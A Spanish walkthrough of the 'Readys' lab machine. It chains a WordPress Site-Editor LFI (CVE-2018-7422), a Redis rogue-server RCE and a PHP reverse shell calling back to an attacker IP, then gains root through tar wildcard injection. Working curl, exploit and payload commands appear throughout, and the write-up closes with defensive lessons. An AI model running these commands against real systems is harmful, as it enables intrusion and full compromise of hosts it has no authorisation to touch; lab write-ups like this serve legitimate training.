Readys
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Readys corre un WordPress 5.7.2 con el plugin Site-Editor 1.1.1, vulnerable a una LFI (CVE-2018-7422) (LFI de plugin WordPress). Con ella leemos/etc/redis/redis.confy obtenemos la contraseña de Redis, que está expuesto en el 6379. Un rogue server carga un módulo malicioso y nos da RCE como el usuarioredis(Redis rogue server RCE). Desde ahí dejamos un PHP en/dev/shmy lo ejecutamos vía la misma LFI: como el servidor web corre como alice, conseguimos su shell. Un cron de root ejecutatar ... *sobre un directorio escribible, así que con wildcard injection (inyección de comodines en tar) ponemos el SUID abashy somos root.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Barremos los puertos TCP:
ping -c 1 192.168.123.166
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.123.166PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
6379/tcp open redisnmap -p22,80,6379 -sCV 192.168.123.166 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-generator: WordPress 5.7.2
|_http-title: Readys – Just another WordPress site
6379/tcp open redis Redis key-value storeTres servicios. El 80 es un WordPress 5.7.2 sobre Apache, y el 6379 es un Redis expuesto a la red, algo que no debería estar accesible desde fuera. La combinación huele a LFI/credenciales en WordPress que abran el Redis.
HTTP - TCP 80: WordPress
Wappalyzer confirma el stack (WordPress 5.7.2 sobre Debian, MySQL, Apache):

Enumeramos plugins con wpscan, que identifica Site-Editor 1.1.1:
wpscan --url http://192.168.123.166/ --enumerate ap[+] site-editor
| Location: http://192.168.123.166/wp-content/plugins/site-editor/
| Version: 1.1.1 (80% confidence)Site-Editor 1.1.1: LFI (CVE-2018-7422)
searchsploit documenta una Local File Inclusion en esa versión exacta del plugin:
searchsploit 'site editor 1.1.1'WordPress Plugin Site Editor 1.1.1 - Local File Inclusion | php/webapps/44340.txt
Codes: CVE-2018-7422El parámetro ajax_path del endpoint ajax_shortcode_pattern.php se incluye sin sanear, así que apunta a cualquier fichero del disco (LFI de plugin WordPress).
Explotación
LFI: del /etc/passwd a las credenciales de Redis
Confirmamos la LFI leyendo /etc/passwd:
curl "http://192.168.123.166/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd"
root:x:0:0:root:/root:/bin/bash
alice:x:1000:1000::/home/alice:/bin/bashHay un usuario alice con shell. Como el 6379 está abierto, leemos la configuración de Redis a través de la misma LFI buscando su contraseña:
curl "http://192.168.123.166/.../ajax_shortcode_pattern.php?ajax_path=/etc/redis/redis.conf" | grep -i pass# use a very strong password otherwise it will be very easy to break.
requirepass Ready4Redis?La directiva requirepass Ready4Redis? nos da la credencial de autenticación de Redis.
Redis: RCE vía rogue server
Con la contraseña ya podemos autenticarnos contra Redis. Un Redis remoto y escribible permite ejecución de comandos cargando un módulo malicioso mediante la técnica del rogue server: nos hacemos pasar por un maestro de replicación, le servimos un .so con un comando nuevo y lo invocamos (Redis rogue server RCE).
Dejamos Penelope a la escucha para la opción de reverse shell (el puerto al que conecta de vuelta):
penelope <port>Usamos redis-rce junto al módulo exp.so:
git clone https://github.com/Ridter/redis-rce
cd redis-rce
wget https://github.com/n0b0dyCN/redis-rogue-server/raw/master/exp.so
python3 redis-rce.py -r 192.168.123.166 -p 6379 -L 192.168.45.244 -P 80 -f exp.so -a 'Ready4Redis?'Elegimos la opción de reverse shell y obtenemos ejecución como el usuario redis (uid 107):

redis@readys:/var/lib/redis$ id
uid=107(redis) gid=114(redis) groups=114(redis)Post-explotación
Pivote a alice: ejecutar PHP vía la LFI
El usuario redis no tiene la flag; necesitamos a alice. Una pista clave: el directorio del sitio web pertenece a alice, lo que significa que el servidor web ejecuta el PHP con su identidad:

redis@readys:/dev/shm$ ls -l /var/www/
total 4
drwxr-xr-x 5 alice alice 4096 Nov 16 2021 htmlCombinamos las dos primitivas. El payload sale de revshells.com, con nuestra IP y el puerto 4443, eligiendo la plantilla PHP PentestMonkey (la que espera un /bin/bash en el objetivo, que es lo que hay aquí):

IP 192.168.45.244 Port 4443
Listener: nc -lvnp 4443
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP.
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
$ip = '192.168.45.244';
$port = 4443;
Shell: /bin/bash Encoding: NoneComo redis, escribimos esa reverse shell PHP en un directorio legible por todos, /dev/shm (la home de redis no nos deja, pero /dev/shm sí):

Luego usamos la misma LFI para incluir ese rev.php. Al incluirlo, lo interpreta el servidor web, que corre como alice, y la reverse shell entra con su identidad:
curl "http://192.168.123.166/.../ajax_shortcode_pattern.php?ajax_path=/dev/shm/rev.php"
listening on [any] 4443 ...
connect to [192.168.45.244] from (UNKNOWN) [192.168.123.166] 50410
Linux readys 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
14:34:44 up 53 min, 0 users, load average: 0.00, 0.00, 0.00
uid=1000(alice) gid=1000(alice) groups=1000(alice)
bash: cannot set terminal process group (508): Inappropriate ioctl for device
bash: no job control in this shell
alice@readys:/$ whoami
aliceLocal
cat local.txt; whoami; ip a; hostname
e8497c48f57e473eca7b36e4d8f895e1
aliceEscalada: cron de root con tar y wildcard injection
Enumerando tareas programadas encontramos un cron de root que ejecuta un script de backup cada 3 minutos:

# /etc/crontab
*/3 * * * * root /usr/local/bin/backup.sh
# /usr/local/bin/backup.sh
cd /var/www/html
if [ $(find . -type f -mmin -3 | wc -l) -gt 0 ]; then
tar -cf /opt/backups/website.tar *
fiEl fallo está en tar -cf ... *: el comodín * se expande a los nombres de fichero del directorio, y alice puede escribir en /var/www/html. Si creamos ficheros cuyos nombres sean opciones de tar, estas se cuelan como argumentos. tar admite --checkpoint y --checkpoint-action=exec=..., que ejecuta un comando (inyección de comodines en tar). Creamos los ficheros-opción y un payload que ponga el bit SUID a bash:
cd /var/www/html
echo "" > '--checkpoint=1'
echo "" > '--checkpoint-action=exec=sh payload.sh'
echo 'chmod u+s /bin/bash' > payload.sh
chmod +x payload.shHay que tocar algún fichero para que find -mmin -3 dispare el tar. En la siguiente ejecución del cron, root corre tar con nuestras opciones, ejecuta payload.sh y bash queda SUID. Un bash -p nos da root:

-rwsr-xr-x 1 root root 1168776 Apr 18 2019 /bin/bash
bash-5.0# whoami
rootProof
cat /root/proof.txt; whoami; hostname; ip a
6397e52868e96f9325c1234239cace0f
rootCadena de ataque
WordPress 5.7.2 + Site-Editor 1.1.1 -- LFI (CVE-2018-7422)
│ leer /etc/redis/redis.conf -> requirepass Ready4Redis?
▼
Redis (6379) autenticado -- rogue server + exp.so
│ RCE como usuario redis
▼
redis escribe rev.php en /dev/shm -> LFI lo incluye -> Apache (alice) lo ejecuta
▼
shell como alice (local.txt)
│ cron root: tar -cf ... * en /var/www/html escribible
▼
wildcard injection (--checkpoint-action=exec) -> SUID a bash -> root (proof.txt)Lecciones aprendidas
- Una LFI no se queda en leer
/etc/passwd. Aquí encadenó dos saltos: primero filtró la contraseña de Redis y después sirvió de gatillo para ejecutar nuestro PHP con la identidad del servidor web. La misma primitiva, usada dos veces para dos fines distintos. - Redis sin red restringida es RCE. Expuesto y con contraseña conocida, el truco del rogue server carga un módulo nativo y ejecuta comandos. Redis debe escuchar solo en loopback y, aun así, no es un servicio pensado para estar expuesto.
- Quién ejecuta el código importa tanto como el código. Pasamos de
redisaalicesin contraseñas: bastó con que el proceso que interpreta el PHP corriera comoalice. Conviene mirar siempre con qué identidad se ejecuta cada cosa. tar *en un cron de root es un clásico letal. El comodín mezcla datos y argumentos; con--checkpoint-action=execse convierte en ejecución como root. Hay que anclar rutas (./), evitar el glob o usar--para cortar el parseo de opciones.